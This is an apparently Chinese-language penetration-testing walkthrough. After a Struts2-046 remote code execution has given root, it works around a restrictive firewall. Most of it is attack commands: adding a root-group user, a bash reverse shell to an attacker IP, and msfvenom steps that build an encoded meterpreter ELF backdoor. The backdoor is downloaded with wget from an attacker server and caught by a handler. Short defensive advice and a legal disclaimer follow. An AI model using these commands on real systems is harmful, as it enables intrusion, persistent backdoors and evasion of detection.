当Struts2遇到防火墙,你的思路够骚吗?
字数 1126 2025-08-18 11:37:28

Struts2漏洞利用与防火墙绕过技术详解

一、漏洞背景

本文介绍的是针对存在Struts2-046远程代码执行漏洞的系统进行渗透测试的过程。攻击者已确认目标系统存在该漏洞,并已获得root权限,但遇到了防火墙/安全策略的限制:

  • 可以执行非交互性命令
  • 无法上传包含可执行代码的文件
  • 常规webshell上传失败(仅允许上传txt等文本文件)

二、攻击思路分析

在受限环境下,攻击者提出了三种可能的攻击路径:

  1. 直接添加用户:通过非交互命令添加用户并加入root组
  2. 反弹shell:尝试建立交互式会话
  3. MSF后门:使用Metasploit生成编码后的Linux后门

三、详细攻击步骤

思路一:直接添加用户

  1. 添加用户:

    useradd test
    
  2. 设置密码(非交互方式):

    echo "PASSWORD" | passwd --stdin USERNAME
    
  3. 将用户加入root组:

    usermod -g root test
    
  4. 验证用户:

    id test
    

遇到的问题:虽然用户添加成功,但SSH连接时密码被拒绝。原因是passwd --stdin在某些系统上不可靠。

思路二:反弹shell

  1. 在攻击机开启监听:

    nc.exe -vv -l -p [端口]
    
  2. 在目标机尝试bash反弹:

    bash -i >& /dev/tcp/[攻击机IP]/[端口] 0>&1
    

遇到的问题:防火墙拦截了反弹连接,尝试不同端口和方式均失败。

思路三:MSF后门利用

1. 生成后门

对于Metasploit 4.2及以下版本

msfpayload linux/x86/meterpreter/reverse_tcp LHOST=[IP] LPORT=[端口] R | \
msfencode -t elf -e x86/shikata_ga_nai -c 3 -o /root/test

对于新版Metasploit

msfvenom -a x86 --platform linux -p linux/x86/meterpreter/reverse_tcp \
LHOST=[IP] LPORT=[端口] -e x86/shikata_ga_nai -i 3 -f elf > /root/test

参数说明:

  • -a x86:32位架构
  • --platform linux:目标平台
  • -p:指定payload
  • -e x86/shikata_ga_nai -i 3:使用shikata编码3次(绕过检测)
  • -f elf:输出为ELF格式

2. 传输后门

使用wget从攻击者控制的服务器下载:

wget [URL] -O /root/test

3. 设置权限

chmod 777 /root/test

4. 启动监听

在MSF控制台:

use exploit/multi/handler
set LHOST [IP]
set LPORT [端口]
set PAYLOAD linux/x86/meterpreter/reverse_tcp
exploit

5. 执行后门

./test

6. 后续操作

获得meterpreter会话后:

  • 添加后门用户
  • 生成SSH密钥直接连接
  • 或直接使用MSF维持权限

四、技术要点总结

  1. 编码重要性:shikata_ga_nai编码3次可有效绕过检测
  2. 权限设置:必须给后门文件执行权限(chmod 777)
  3. 环境适应
    • 了解目标防火墙限制
    • 测试不同方法寻找突破口
  4. 备选方案:当直接添加用户失败时,考虑后门方式
  5. 工具选择:根据Metasploit版本使用msfpayload或msfvenom

五、防御建议

  1. 及时修补Struts2漏洞
  2. 实施严格的防火墙规则:
    • 限制出站连接
    • 监控异常端口活动
  3. 文件上传限制:
    • 检查文件内容而不仅是扩展名
    • 禁止执行上传目录的文件
  4. 用户权限监控:
    • 审计用户添加操作
    • 限制root组权限

六、法律与道德声明

本文所述技术仅用于合法安全测试和研究目的。实际渗透测试必须获得明确授权,测试后应及时向管理员报告漏洞。未经授权的测试可能构成违法行为。

Struts2漏洞利用与防火墙绕过技术详解 一、漏洞背景 本文介绍的是针对存在Struts2-046远程代码执行漏洞的系统进行渗透测试的过程。攻击者已确认目标系统存在该漏洞,并已获得root权限,但遇到了防火墙/安全策略的限制: 可以执行非交互性命令 无法上传包含可执行代码的文件 常规webshell上传失败(仅允许上传txt等文本文件) 二、攻击思路分析 在受限环境下,攻击者提出了三种可能的攻击路径: 直接添加用户 :通过非交互命令添加用户并加入root组 反弹shell :尝试建立交互式会话 MSF后门 :使用Metasploit生成编码后的Linux后门 三、详细攻击步骤 思路一:直接添加用户 添加用户: 设置密码(非交互方式): 将用户加入root组: 验证用户: 遇到的问题 :虽然用户添加成功,但SSH连接时密码被拒绝。原因是 passwd --stdin 在某些系统上不可靠。 思路二:反弹shell 在攻击机开启监听: 在目标机尝试bash反弹: 遇到的问题 :防火墙拦截了反弹连接,尝试不同端口和方式均失败。 思路三:MSF后门利用 1. 生成后门 对于Metasploit 4.2及以下版本 : 对于新版Metasploit : 参数说明: -a x86 :32位架构 --platform linux :目标平台 -p :指定payload -e x86/shikata_ga_nai -i 3 :使用shikata编码3次(绕过检测) -f elf :输出为ELF格式 2. 传输后门 使用wget从攻击者控制的服务器下载: 3. 设置权限 4. 启动监听 在MSF控制台: 5. 执行后门 6. 后续操作 获得meterpreter会话后: 添加后门用户 生成SSH密钥直接连接 或直接使用MSF维持权限 四、技术要点总结 编码重要性 :shikata_ ga_ nai编码3次可有效绕过检测 权限设置 :必须给后门文件执行权限(chmod 777) 环境适应 : 了解目标防火墙限制 测试不同方法寻找突破口 备选方案 :当直接添加用户失败时,考虑后门方式 工具选择 :根据Metasploit版本使用msfpayload或msfvenom 五、防御建议 及时修补Struts2漏洞 实施严格的防火墙规则: 限制出站连接 监控异常端口活动 文件上传限制: 检查文件内容而不仅是扩展名 禁止执行上传目录的文件 用户权限监控: 审计用户添加操作 限制root组权限 六、法律与道德声明 本文所述技术仅用于合法安全测试和研究目的。实际渗透测试必须获得明确授权,测试后应及时向管理员报告漏洞。未经授权的测试可能构成违法行为。